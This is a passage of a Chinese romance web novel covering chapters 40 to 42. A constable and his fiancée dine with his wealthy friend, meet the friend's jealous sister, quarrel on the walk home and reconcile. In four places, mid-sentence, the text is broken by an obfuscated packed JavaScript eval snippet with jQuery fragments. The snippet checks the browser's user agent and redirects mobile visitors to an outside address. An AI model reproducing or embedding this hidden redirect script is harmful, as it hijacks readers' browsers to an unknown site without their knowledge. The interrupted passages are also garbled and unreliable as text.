“上马车，我送你回去。”裴华丰摸了摸腰间玉佩，侧了侧身让出位置，“你前几日没回家，今日回去也没提前打招呼，这个时辰太晚，等你腿回去，伯母和嫂子都吃饱了。” 周砚一听很有道理，当即不再推辞，与裴华丰一起挤进马车内，马夫一挥鞭子，拉车的马儿就颠颠出发了。 路上裴华丰东拉西扯说了许多京城现况，提及大将军徐超，周砚心下动容，却没多说什么。 “你说你，好好的前程不闯回平州做个小小捕头，以后有你后悔的。” “不会。”周砚语气肯定，声音有些缥缈，仿佛已经飘向遥远的京城了，“我每一个决定都经过深思熟虑，不会后悔。” 京城富贵，权势遍地，即便是大将军那样的人物都免不了处处受掣肘，阴谋算计于他们而言不过是家常便饭。 贵人们底蕴深，经历多，遇到算计还能反击回去，而他草根出身，在京城权势窝中没有根基，即便按功封赏，也只是一个小小武官。 武官的路要靠战争，没有战争就没有向上爬的机会，即便大将军看重他愿意提拔他，也走不远。 而小小武官的俸禄在京城只能勉强养活一家子，日子肯定没有平州舒服，一不小心还可能拖家带口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752231|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死在阴谋算计中。 周砚没有那么大的野心，衣锦还乡是他最好的选择。 与其提心吊胆在京城受罪，不如会平州踏踏实实过日子。 “罢了，你自己想清楚就好，大将军还说你改变主意可以去找他。” 裴华丰将话传达到位任务就算完成了，懒得管周砚怎么决定。 “嗯，以后的事以后再说。” 马车缓缓停在老槐巷巷口，周砚留下这句话便头也不回下车进巷子了。 裴华丰看着他远去的背影，放下车帘淡声道：“回府吧！” 周家。 宁秋和周母刚将饭菜端上桌，朝家门口望了好几回，犹豫着先吃饭还是再等一等。 周母没什么耐心，估摸儿子又不回来吃晚饭了，便跟宁秋抱怨道：“这个时辰还不见人，估计同前几日一样不回来吃晚饭了，我们先吃，他回来想吃再自己热热菜。” 宁秋想想前几日都这样，便点了点头。 二人刚动筷子，就听大门那边咔哒一声，有脚步声传进来，她们不约而同停下筷子竖耳倾听动静。 片刻后，脚步声停在厨房门口，周砚探头进来，视线一扫，又收了回去。 “哟，还记得自己有个家啊？”周母放下筷子走出去，见周砚在洗手，继续阴阳怪气，“探头探脑转头就走，招呼也不知道打一个，不知道的，还以为你做贼呢！赶紧的，等你等的饭菜都快凉了。” 周砚无奈接话，道：“刚接手捕头一职，事多，不是和您说过吗？你们不用特意等我。” “说过又如何，一家人，说不等就不等未免太冷漠，别废话了，先吃饭。” 周母摆上干净的碗筷，时隔五六日，一家三口终于凑齐了。 考虑到明晚的邀约，周砚边吃边和宁秋说起裴华丰的情况，周母也从旁应和。 早在二人初识，宁秋就知道周砚和福来客栈的少东家是故交，但那时候的她自顾不暇，身上带伤还要每日为生计忧愁奔波，根本没精力去打听其他。 现在听周砚说起福来客栈，方知那是裴家的产业，她大吃一惊，心里莫名开始焦虑起来。 裴家啊！ 之前她啥也不懂，初听别人提起裴家没多大感觉，后来在金绣阁做活，绣娘们时常提起裴家如何厉害，她才知那是什么样的存在。 别看在平州城内裴家与朱家齐名，真论生意规模，出了平州，朱家远不如裴家。 宁秋不懂生意，所了解的信息都是从崔婉莹和其他绣娘口中提取出来的，比较片面，但也足够令她仰望了。 想到要去面对自己遥不可及的人，宁秋心生退意，怕自己跟过去什么也不懂丢周砚的脸，整个人都变得局促不安。 她很想直接问可不可以不去，又觉得人家好心邀约，自己这样问未免太不识好歹了。 犹豫片刻，她还是问道：“明晚我也要去吗？” “我希望你去。” 周砚看出了宁秋的忐忑，宽慰道：“华丰是个好性子，没有公子哥的坏毛病，你只当他是普通朋友，是邻里街坊，有我在，莫怕，实在不想去，我推掉便是，你莫给自己太大压力。” “嗯，好吧！”宁秋回话有些勉强，不过还是应承了。 40. 赴约 因这个突如其来的消息，宁秋一晚上都没有睡好，还梦到与裴华丰一块吃饭的混乱场面。 她没见过裴华丰，梦里的裴华丰只有一个模糊的身影，即便如此，也不影响她深切感受那种场景下的紧张与局促。 半梦半醒间，她挣扎煎熬，好不容易挣脱梦境的束缚，睁眼只感觉浑身黏腻，整个人都有些虚脱了。 大冬天的，身上有汗若是不及时清理很容易染风寒，宁秋幽幽叹了一口气，起身摸黑烧热水。 她以前和阿爹一块生活，接触的都是家境相当的人，邻里街坊敬重他爹，相互间没那么多讲究。 裴华丰不一样，那是裴家的大少爷，京城还有贵人族亲，在平州城算是有权有势的人家了，知府大人都要以礼相待，非普通小老百姓所能比。 换作以前，她根本没机会接触这样的人，就是路上见一面，都很难得。 宁秋没想到自己会如此不争气，还没开始吃饭，就紧张焦虑到这种地步，实在上不得台面。 她一边做事一边唾弃自己，再碎碎念安慰自己，鼓励自己。 不过是吃一顿饭，有什么大不了的，都是人，两只眼睛一张嘴，冲就完了。 “宁秋啊宁秋，你一定要争气，一定要大大方方，不能丢周大哥的脸。” 宁秋沉浸在自己的想象中压根没注意到门口何时来了人，嘀咕声一落，耳朵突然接收到男子的闷笑声，将她吓了一大跳。 她慌张回头，见来人是周砚才放心，不过心跳速度就没那么快平缓了。 “你干嘛呀？”宁秋有些恼，气呼呼骂道：“乌漆嘛黑走路没声就算了，都到门口了也不说话，是想吓死我吗？” 周砚没想到她如此大反应，讪讪地摸摸鼻子，尴尬道：“对不起，我不是有意的。” “对不起有用的话，还要官府干嘛？” 宁秋心里憋着一股气，想也没想直接回怼，怼完她就后悔了，但是说出去的话泼出去的水，也没法再收回来。 她动了动唇，冷哼一声别过脸，一个劲往土灶里塞柴火，试图用忙碌的假象掩盖自己当下的不自在。 好一会儿过去，她也没等到周砚的下一句话，倒是脚步声离她越来越近，心中不由紧张起来。 周砚缓步走进厨房，屈膝蹲在宁秋的身边，高度与坐在矮凳上的她持平，看她眼神刻意躲避，一言不发，如同一只小鹌鹑，顿时哭笑不得。 方才怼的那么干脆，还以为她多厉害，原来是色厉内荏的空架子。 他笑道：“秋秋说的对，道歉有用还要官府做什么，所以你打算报官抓我吗？我现在已经是捕头了，吓唬一下你还不足以让大人将我抓起来，要不考虑一下别的惩罚方式？” 宁秋被他的话一堵，不知该怎么回答，又实在好奇他所说的惩罚是什么？ “怎么惩罚？”她问。 周砚装出深思熟虑的模样，片刻后说道：“罚我今日做你的马，背你去上工，如何？” “不如何。”宁秋果断拒绝。 还以为他会给出什么刑罚之类的答案，结果就这？ 这哪里是惩罚，明明就是占她便宜的奖励。 宁秋没好气道：“亏你好意思说出口，你脸皮厚愿意做，我还不好意思在街上丢人现眼呢！你惯会占我便宜。” “好了，方才只是跟你开个玩笑，莫气了。”周砚握住宁秋右手，揉了揉，转移话题道：“我来烧，你去忙别的。” 宁秋闻言没跟他客气，只是水没烧热，她也没有别的事需要做，干脆搬来一张矮凳在边上坐好。 周砚随意添点柴侧头看她，问道：“因为晚饭的事影响到自己了？” “嗯，我没去过大酒楼，身边接触过的都是小老百姓，心中生怯，怕到时候表现不好丢你的脸。” 宁秋的声音闷闷的，本想自己调节状态，慢慢缓和，周砚一提起这事，她便绷不住将自己的想法说出来了。 “我是不是很没用？” “不是，你很好。” 周砚眉头微微蹙起，瞳仁幽黑，投过来的眼神宛如不可见底的深潭，潜藏着无数或简单或复杂的情绪。 宁秋看不明白，只呆呆地望着他。 “秋秋，你别自己吓自己，裴家有钱是裴家的事，华丰与我相交，我们之间没有利益牵扯，更不会论地位高低，真论起来，华丰还是个商人。” 周砚顿了顿，眸中灵光一闪顺势将宁秋拥入怀中，“朋友之间牵扯过多利益，交情就不纯粹了，你实在不想去，我回绝他便是。” “别啊！” 宁秋差不多调整好状态了，一听周砚说不去，立马出声打断，她身子刚直起来，下一瞬又被周砚摁回怀中，没办法，只能窝在他怀中，继续诉说自己的看法。 “人家好意邀约为你我庆贺，出钱又出力，于情于理，这个情得承下，改日在家中做几个拿手菜，也请他过来吃一顿，有来有往，感情才会更紧密。” 周砚笑问：“不怕了？不焦虑了？” “嗯，你说的对，怪我自己胡思乱想。”宁秋不好意思回道。 小两口相拥而坐，你一言我一语，那氛围根本插不进第三个人。 周母在门口看着直牙酸，老心甚慰，不过她没有出声打扰，又悄摸摸回自己屋了。 孩子那么大了，得多点空间培养感情，机会难得，她还是勉为其难睡个回笼觉吧！ 热水烧好，宁秋忙着洗簌，周砚便开始张罗早饭，二人简单吃一点就出门上工。 金绣阁门前，周砚叮嘱道：“我与华丰约了酉时正刻在天香楼碰面，傍晚我提前过来接你。” “你不用特意过来接我，太麻烦了，天香楼离这里不远，我自己走过去更便利，你在门口等我就行。” 宁秋知道位置所在，周砚从衙门出发，到金绣阁接她再一起去天香楼反而是绕远路了，费时又费力，着实没必要。 周砚想想点了点头，“好，听你的。” 晚上有安排，宁秋干起活来更认真细致，连崔婉莹找她说话都不太搭理，随便应付几句就过去了。 见她今日反应与平时完全不同，崔婉莹又好奇又委屈，中午吃饭的时候死缠烂打追问道：“什么情况，秋秋，你今日怪怪的，跟你说话都不理我。” “我不是都回应了么？”宁秋随口回答，闷头吃饭。 “那不一样，太敷衍了。”崔婉莹瞪了宁秋一眼，随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753513|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手夹一块鸡肉放进宁秋碗里，“有什么困难你别憋着，跟我说说，没准我能帮到你呢！” “我没遇到困难。” 宁秋想了想，还是将晚上有约的事告诉了她。 不过没有透露裴华丰的身份，只说见见周砚的朋友，需要早点完成今日的活，精神状态更专注些。 酉时一过，宁秋加快速度收尾，将私活也全部完成摆放到铺子的寄卖区，掐着点下工了。 从金绣阁到天香楼大概需要步行一刻钟左右，宁秋一路上都在不断调整自己的心态，想象着见到裴华丰的场景，模拟见到人该如何搭话。 远远看见天香楼招牌，她停下脚步深吸一口气，简单给自己加油鼓劲才大跨步走过去。 这会儿周砚已经等候在天香楼门口了，看到宁秋小小的身影由远及近一步步走过来，他柔和了眼神，右手抬起正准备打招呼，身后突然传来一声娇娇柔柔的呼唤，“周大哥，你怎么还不进来？” 询问的声音刚落，周砚没来得及回头就感觉左手臂被人拉住了。 他下意识后退几步，左臂一甩，霎时间便与身后的人拉开距离，不悦的目光一扫，正好捕捉到姑娘失落的眼神，他不由蹙起眉头。 “裴二姑娘。”周砚淡淡回应，“我在等我的未婚妻，她刚到。” 说着，他也不管裴二姑娘什么反应转身就走，见宁秋呆愣愣停在不远处，还以为她又怯场了，忙小跑起来，眨眼间就到她的面前了。 “秋秋，怎么了？”周砚盯着她，不放过她面上的神情变化，“一顿饭而已，你莫要勉强自己。” “我没事。” 宁秋扯出一个笑容，微不可查往裴二小姐所在位置看了一眼，半好奇半试探地问道：“我见你在和别人说话不便打扰，就等了等，那位姑娘是谁啊？你撇下人家过来找我会不会太失礼了？” “没事，那是裴二姑娘裴华玉，应当是华丰暂时走不开让她来问我何时上菜，她知道我在等你，不打紧。” 周砚自然而然牵起宁秋的手，一句解释，一个亲昵的动作足够安抚她微微起涟漪的心。 “走吧！华丰他们已经在包间等候，过去可以直接上菜了。” “嗯，好。” 宁秋没多问，乖乖跟在他的身旁，路过裴华玉时双方互相见礼，简单客套两句，随即裴华玉在前，周砚二人并肩走在后面，一块上二楼雅间。 许是出于女子的直觉，宁秋见到裴二姑娘的第一面就感觉很不舒服，对方那种高高在上衡量货物价值的打量眼神以及隐隐透出的敌意让她感到莫名其妙，也因此心生警惕。 宁秋自认为不是一个心胸狭隘的人，但亲眼看到裴二姑娘拉周砚手臂那一幕，心里还是觉得很不痛快。 “听宁姑娘口音不是平州本地人吧？” 走着走着，裴华玉突然回头问了一句，面上虽带着笑容，但那笑意不达眼底，落到宁秋眼中显得很不真切。 “嗯？”宁秋微愣，不过出于礼貌还是认真回话了，“我是章回县人，来平州三四个月了。” 裴华玉恍然，看似无意，又道：“原来如此，你与阿砚哥哥真有缘分，两地隔那么远，投个亲也能让你俩遇上。” 41. 不善 “是啊，确实有缘。” 宁秋尴尬地笑笑，实在不知道该如何回答，便顺着裴华玉的话敷衍一句。 裴华玉闻言一噎，感觉一拳打在了棉花上，心里堵得慌，隐隐生出一团无名火，不甘的情绪逐渐将她包围，无法自拔。 特别是当她看见周砚对宁秋不同寻常的照顾与呵护时，她感觉眼前的男人好陌生，心中更不是滋味了。 她想不通啊！ 明明是她先认识周大哥的，周大哥对她也很好，每次来家中找哥哥都会特意给她带礼物，他对她那么好，为何喜欢的人却不是她？ 可如果他不喜欢她，又为何要对她那么好？ 裴华玉越想心里越难受，失落地低下头。 片刻后，她收整好心情努力挤出一抹笑容，还想再说点什么，突然目光一转触及周砚冷淡的眼神，心里那团火刷一下全灭了。 正好此时裴华丰从雅间走出来，看见周砚顿时眼前一亮，朗声笑道：“咦，我正准备下楼找你们呢！华玉也真是的，下楼那么久也不见回来说一声，我还以为你们路上遇到麻烦了。” 周砚回道：“没有，约定的时间还没到，你急什么？” 裴华玉也不满哥哥在外人面前说她的不是，当即反驳道：“你让我下楼接人，人没接到自然要等一等，好好的，你倒是怪起我来了。” 想到自己高高兴兴下楼接人，不仅没达到自己的目的，还被周砚小两口亲密无间的氛围狠狠扎了心，好不容易将情绪缓和下来，自家哥哥又在这挑她的刺，裴华玉心里委屈，回怼间不自觉红了眼。 到底是裴家捧在手心长大的姑娘，从小到大锦衣玉食，要风得风，要雨得雨，还从未如今日这般委屈。 眼看妹妹要哭，裴华丰赶忙放软了声音哄道：“好了好了，哥哥跟你开玩笑呢！不是真的怪你，都是哥哥的不对，还有客人在，你原谅哥哥这一次，有什么我们回家再说好不好？” “哼！”裴华玉冷哼一声，不想让别人看自己的笑话，转头气呼呼冲进雅间。 她没说原谅还是不原谅，但是以裴华丰对她的了解这事算过去了。 裴华丰意味深长地看了周砚一眼，见他神色淡淡，便将目光转向一旁的宁秋，笑着同她打招呼：“这位是小嫂子吧？我叫裴华丰，与阿砚是过命的兄弟。” “裴公子好。”宁秋有些紧张，干巴巴回了一礼。 裴华丰本就有意拉近双方的关系，看出宁秋的不自在，他主动担起了活跃气氛的重担，用半开玩笑口吻纠正道：“小嫂子和阿砚一样唤我名字就成，裴公子这个称呼太见外了。阿砚，你说是吧？” 周砚淡淡瞥他一眼，没回答这个问题，反而就着称呼的话题纠正道：“嫂子就嫂子，加个小字不伦不类。” 裴华丰：…… “我是看嫂子年纪比我小……” 周砚神色不变，继续纠正：“我比你大，出嫁从夫。” 裴华丰：…… “不是没嫁么……” 这一刻，裴华丰很想掐着周砚的脖子用力晃一晃再大声质问他：“至于吗？你至于吗？” 可他不敢，他打不过。 不知怎的，听周砚二人为了一个称呼掰扯好半晌儿，宁秋突然就不紧张了。 她扯了扯周砚的袖子，帮裴华丰解围道：“一个称呼而已，想怎么叫就怎么叫吧！这里人多眼杂，我们先进雅间。” 裴华丰如蒙大赦，眉梢一挑抬了抬下巴，附和道：“你看看，还是嫂子好，不像某人，一点小事上纲上线。” 周砚没理他，看向宁秋点了点头，三人一起进入走廊最旁边的天字号雅间。 天香楼是裴家的产业，楼内大厨都是从各地花大价钱挖来的，菜品一等一的好，价格公道实惠。 不止平州本地权贵富户，就是家境殷实的普通百姓过年过节也会花点钱带家人过来打打牙祭，附近城池也有不少人慕名而来，只为满足口腹之欲。 见自家哥哥带人进来，裴华玉又哼一声，吸引注意力的目的达到了，但是她依旧臭着脸不理人。 裴华丰淡淡瞥她一眼，不打算理会，招呼周砚和宁秋坐下，将菜单递给周砚，热切道：“招牌菜都点了一份，其他菜你们看看有没有想吃的。” 周砚对吃没太大讲究，转手将菜单交给宁秋，示意她来看。 菜单以书册形式呈现，不算厚，宁秋简单翻了两页，光招牌菜就有二十个了，顿时瞪大了双眼。 按照雅间桌子的大小，二十道招牌菜摆上来满满一桌子，他们四人根本吃不完，她倒吸一口凉气默默放下菜单。 “有其他想吃的吗？”周砚问。 宁秋摇摇头，委婉问道：“一会儿还有人来吗？要是还有人来，看他们要不要加吧！” 周砚一听这话懂了，将菜单递还裴华丰，淡声道：“不用加了，我们就四个人，光你点的那些都吃不完，多点也是浪费。” “成。” 裴华丰心里也是这么想的，当即摆摆手，候在雅间的天香楼小伙计立马下楼喊人上菜。 宁秋与裴华丰兄妹不熟，也不适应天香楼高档的雅间环境，安安静静坐在周砚的身边，基本是人家问什么她就答什么。 知道她是金绣阁的绣娘，裴华丰便以布料和绣技为突破口尽可能找些宁秋能参与的话题，周砚即便不懂也会适当附和一两句，等上菜的时间，三人有来有往关系一下子就拉近了。 唯独裴华玉一声不吭，自己在那生闷气，显得格格不入。 约摸等了一刻钟左右，菜品陆陆续续上桌，谈话才渐渐少了。 吃到最后，裴华丰询问是否要加菜，周砚扫了一眼桌上好几道没有动过的菜摇了摇头，宁秋也客气道：“今晚多谢裴公子、裴小姐的款待。” “嫂子客气了。”裴华丰乐呵呵。 气氛正融洽，全程没说过一句话的裴华玉开口了。 她昂起头，瞥了宁秋一眼，哼道：“可不得好好感谢我们，没有我们你根本没机会进来呢！” “玉儿！” 裴华丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772908|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底冷了脸，一声厉呵，宁秋吓了一大跳，也将被情绪支配的裴华玉镇在当场。 “你是裴家小姐，从小金尊玉贵养着，请最好的先生教导，如今连最基本的礼节都忘了吗？如果学不会说话，学不会尊重别人，以后出门在外别说是我裴家的姑娘。” 裴华丰一向疼爱妹妹，何曾说过这般重的话？ 他眼神凌厉，看着泪水盈满妹妹明亮的双眸，有一瞬间的心软，但还是忍住哄人的冲动，就这么盯着她看，直到她受不住缓缓低下了头。 “道歉。”他呵斥道。 “我……” “道歉！” 裴华玉漂亮的眸子里满是倔强和委屈，她意识到自己错了，但过高的自尊心不允许她低头，她也不想和自己讨厌的宁秋道歉。 “玉儿，道歉。” 裴华丰又一次强调，不容置喙，裴华玉犟了好一会儿终于妥协了。 她面向宁秋，眼泪大颗大颗滑落，抽抽噎噎酝酿好一会儿，才狠狠闭上眼睛磕巴道：“宁……宁姑娘，对不起。” “没事没事。”宁秋摆摆手。 她心里很清楚，裴姑娘的道歉并不诚心，但周砚与裴华丰是好友，她想维持最基本的体面，所以从双方见面开始，她假装没意会到裴姑娘带刺的话，没意会到她话中的不善。 说白了，若非因为周砚和裴华丰，她两这辈子都不可能有交集。 宁秋想不明白，明明今日之前双方根本不认识，也不了解彼此，裴姑娘对她的敌意从何而来？ 因为周砚吗？ 她不指望对方过活，对方是否看得起她并不重要。 只是不可否认，宁秋听到裴华丰训斥裴华玉并要求其道歉时，她的心里是很痛快的。 宁秋灿然一笑，心中的郁结仿佛也在这一刻变浅了。 “裴姑娘不必想太多，你我之间其实没那么复杂，今日过后可能再也不会见面了，我会好好过自己的日子，你也有你的生活。” 裴华玉闻言茫然抬头，愣愣地望着宁秋，内心复杂的情绪一时间捋不清楚。 周砚悄然牵住宁秋的手，目光扫过几人，淡声道：“时辰不早了，回吧！” “嗯。” 双方在天香楼门口分别，周砚看裴家兄妹的马车远去，才牵着宁秋慢悠悠往家走。 平州城漆黑静谧的街道上，月光拉长了他们并肩而行的身影，一步一步，不急不躁，如同未来的漫漫岁月。 走着走着，周砚突然说道：“今晚发生的事不会有第二次了。” “嗯？” 宁秋刚从自己的思绪中抽离，侧抬头看向身边的男人，便听他又道：“裴姑娘平时不这样，今晚确实失礼了，我向你保证，这种事以后都不会再发生了。” 周砚的本意是调解，可话说出口却不是那么中听，词不达意，他自己也觉得怪怪的，想改口却已经来不及了。 “你在帮她解释？” 宁秋幽幽反问一句，脚步也不由自主停下来了，“阿砚哥哥。” 42. 亲吻 “阿砚哥哥怎么不说话？你不是要帮你的华玉妹妹解释么？我听着呢！” 一声“阿砚哥哥”如同被赋予了某种魔力，让周砚头皮发麻，神情瞬间僵住了。 “阿砚哥哥真贴心呢！”宁秋继续阴阳怪气，“阿砚哥哥希望我说什么呢？” “秋秋，你别这样说话……”周砚莫名感到心慌，双拳不自觉握紧了。 这个时辰的街道昏暗寂静，偶有人路过也是行色匆匆，根本不会在意路边有谁，又发生什么事？ 宁秋心里堵着一口气，不断变化的神色在昏暗中若隐若现，让人看不真切，以至于周砚听出她语气中的不对劲，却无法敏锐捕捉她话里的真正含义。 “我这样说话有问题吗？阿砚哥哥希望我怎么说呢？是希望我赞同你所言，说你的华玉妹妹心眼不坏，平时很懂礼守礼，今晚单纯是意外，并没有冒犯我的意思？” 宁秋冷哼嗤笑，有些情绪一旦出现宣泄口，就是想止住也没那么容易了。 她抬头看着周砚，试图从他脸上看出什么，可惜乌漆嘛黑连五官都看不清楚，更别提神情变化了。 “秋秋，你知道我不是这个意思，裴姑娘是华丰的亲妹妹，我与华丰是朋友，是兄弟，自然也将裴姑娘当妹妹看待，我们之间从未有过逾矩的行为和言语，私下也没有任何往来，你莫要多想。” 周砚心中急躁，下意识靠宁秋更近一点，厚实的大手紧紧握住她柔软的小手，言辞恳切，手下动作不自觉加大力道，尽可能克制住自己浮动不安的心绪，平缓语气，低声哄道：“秋秋，别生气了好不好？” 这般温柔的声音宁秋听过许多遍，先前感觉甜丝丝的，有暖流淌过心头，今夜却有了完全不同的感觉。 她鼻头一酸甩开周砚的手，赌气道：“我没生气，我怎么敢生你的气？你们清清白白，你们都没错，是我多心，是我太敏感没事找事，你满意了吧？” “可是……可是……”宁秋的情绪突然失去控制，纤细的肩膀一抖一抖，说话也哽咽起来，“可是周大哥，裴姑娘跟你是什么关系？你又凭什么替她保证？你的保证作数吗？” 宁秋三连问，泪水瞬间盈满眼眶喷涌而出，她抬起小臂用衣袖胡乱一擦，深深看了周砚一眼扭头跑开了。 此时此刻，周砚的心仿佛被一双无形的大手紧紧抓住，稍稍用力，就痛的无法呼吸。 电光火石间，他脑中灵光一闪，似乎明白二人争执的真正原因了。 怕宁秋乱跑出事，他顾不得多想赶忙加快脚下速度追随前面的人影而去。 男女体力差距本就悬殊，宁秋一边哭一边跑，消耗极大，很快力不从心被周砚追上了。 他没有着急解释，也没有顺着宁秋的挣扎放她跑开，手臂用力一拉一扯，强制性将人拥入怀中。 男人坚实有力的双臂将她紧紧箍在怀中，任凭她哭闹挣扎，愣是没能脱离那个怀抱。 挣扎累了，宁秋脑袋有点晕，身子发软，干脆不管不顾在周砚怀中哭起来。 哭声如诉如泣，宛如条条丝线将周砚缠绕起来，他轻叹一声，右手在宁秋的后背轻轻拍动，试图安抚她的情绪。 也不知道过了多久，怀中的哭声消停了，周砚也松了一口气缓缓将人松开，笨拙地拭去她脸上的泪痕。 “好了，莫哭了，我明白你的意思。” 遇到宁秋之前，周砚成天舞刀弄棒，身边几乎都是糙汉子，大家伙说话做事都比较粗鲁，直来直往，有意见直接提，能讲道理就辩一场，道理讲不通就打一顿。 办案遇到女事主，因为官差的身份他也能免去许多麻烦。 同僚们都说女人是水做的，爱胡思乱想，有时候还会胡搅蛮缠，周砚作为旁观者不置可否，通常是左耳进右耳出，一笑而过。 加之他与宁秋的相识相知再到定亲都很顺利，今晚突如其来的争执让他措手不及，两人各说各的理，不但没有解决问题，还在无意识间激化了矛盾，甚至影响到二人的感情。 这一刻，周砚深刻体会到他与宁秋思维上的不同。 他只看到了事情本身，存了公事公办的心态，而宁秋关注事情本身的同时，更注重事情背后的情感纠葛。 感情很复杂，同样也很纯粹。 周砚意识到自己的问题所在，当即也不含糊，解释道：“华丰曾和我隐晦提过裴姑娘的心思，两家家世悬殊，且我对裴姑娘没有那种心思便拒绝了，也与他说得很清楚，今晚是华丰邀约想见见你，没想到裴姑娘也过来。” 宁秋不吭声，静静听他说。 “大户人家都爱面子，关乎姑娘家的名节，这种没影的事不便摆在明面上掰扯，我以为与华丰说清楚事情就算过去了，就没特意和你提起。” “秋秋。” 周砚捧起宁秋的脸，粗糙的指腹一下又一下滑动，继续道：“你很清楚我是什么样的人，饭后客套时裴姑娘说的那句话我也记在心上了，华丰主动开口我便给他一个面子，想来他知道如何做，即便你不相信他，也该相信我，不气了好吗？” “嗯。”宁秋只犹豫片刻就乖乖点头。 其实她骂完周砚就后悔了。 她不是那种胡搅蛮缠不讲理的人，只是裴华玉的所言所为对她的冲击太大，将她深藏心底的自卑勾出来，情绪无限放大，起伏波动太激烈没控制好自己。 她甚至还在想，若周砚因此不再管她，两人的婚事告吹，她该怎么办？ 事实证明，是她想多了，脑补盖过了现实，才会因为一点小事患得患失。 “对不起，我……我不该对你发脾气。”宁秋讷讷道歉。 周砚忙道：“不怪你，是我做的不够好，没能让你心安。” 两人你一句我一句，都想将问题往自己身上揽，撇清对方，说着说着，他们不约而同噤声，昏暗的光线下，两双晶亮的眼注视着彼此，倏然绽放笑颜。 周砚盯着宁秋看，从眉眼到小巧的鼻子，最后停留在她饱满的唇瓣上。 他喉结滚动，片刻后缓缓低下头在宁秋额前落下一吻。 下一瞬，宁秋感觉腰间一紧，顺着周砚掌心的力道被迫落入他的怀中，下巴抬起，男人充满野性的气息措不及防降落，攻城掠地夺走了她的呼吸。 “唔……” 随着周砚的动作，宁秋脚尖慢慢踮起，脑中一片空白，下意识抓住周砚的衣服维持身体的平衡，想推开他，手上却怎么也使不上力气。 不知过了多久，她感觉呼吸不上来准备要晕了，周砚突然撤离，闷笑出声。 “傻姑娘，呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786315|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸。” 感受到在脸颊作乱的粗粝指腹，宁秋终于回过神来，眼眸中还氤氲着水气，唇瓣有点麻。 “呼吸。”周砚继续提醒。 这一刻，宁秋才意识到自己犯蠢了，呼吸逐渐顺畅。 “你……你又占我便宜。”她又羞又恼，一把推开周砚，发软的双腿慢慢恢复气力刻意离他远一些，“哪有人那么用力亲的？” “我啊！”周砚毫不犹豫厚着脸皮道，“我喜欢这么亲。” “你不要脸。”宁秋低骂一句。 黑夜遮掩了她红扑扑的脸颊，她慌乱地左右看看，四周静谧无外人，只不远处有间铺子还开着，泄出昏黄的烛光，顿时放下心来。 “嗯，我不要脸。” 周砚一个劲笑，想起从军时听过的荤话，眸色暗了暗。 他伸手替她理好耳畔滑落的发丝，哄道：“我们先回家，太晚回去阿娘要担心了。” “嗯。” 矛盾解开，二人的感情明显紧密了不少，手牵着手慢悠悠继续往家走。 月光拉长了他们的影子，走动间，一高一矮两个身影时不时碰一下对方，他们没再说话，脉脉温情却在他们之间悄然蔓延开了。 两刻钟后，他们回到周家，小院中灯火通明，周母还没睡，正坐在厨房门口发呆。 听到大门处有响动，她赶忙抬眼看过去，“你们回来了？” “对啊，婶娘怎么还不睡？”宁秋自然而然接过话头。 周母叹道：“从前只我们母子相依为命，砚哥儿时常公干不回家，我习惯了不觉得有什么，如今家中有你，几个月相处，我习惯晚上有你陪伴了，你不回来，我睡不着啊！” 周砚关上大门，一听自家阿娘又演上了，余光一瞥，便见身侧的傻姑娘满脸动容不由扶额，抢在宁秋回话之前呛声道：“我看您老不是睡不着，是想八卦我们这顿饭饭吃的怎么样。” 周母：…… 儿子果然不如闺女贴心。 “所以饭吃的香吗？”周母顺杆子往上爬，“天香楼饭菜没得说，裴家小子人不错，就是喜欢花里胡哨的装扮，应当没什么问题吧？” “挺好的。”宁秋抬头看看周砚，笑着回答周母的话，“裴公子性情舒朗好客，招待得很妥帖。” 周母闻言总算放下心来，颔首道：“这就好，改明我买只鸡回来好好整一顿，请他来家里做客，尝尝家常菜，人情往来这一块你们不能疏忽了。” “娘，我们知道了，您老少操点心，该休息就去休息吧！” 周砚说着准备进厨房烧热水，便听他娘道：“热水给你们烧好了，早点洗洗睡，明早还要当值，别磨蹭太晚。” “好，多谢阿娘。”周砚道。 宁秋也附和，“谢谢婶娘。” 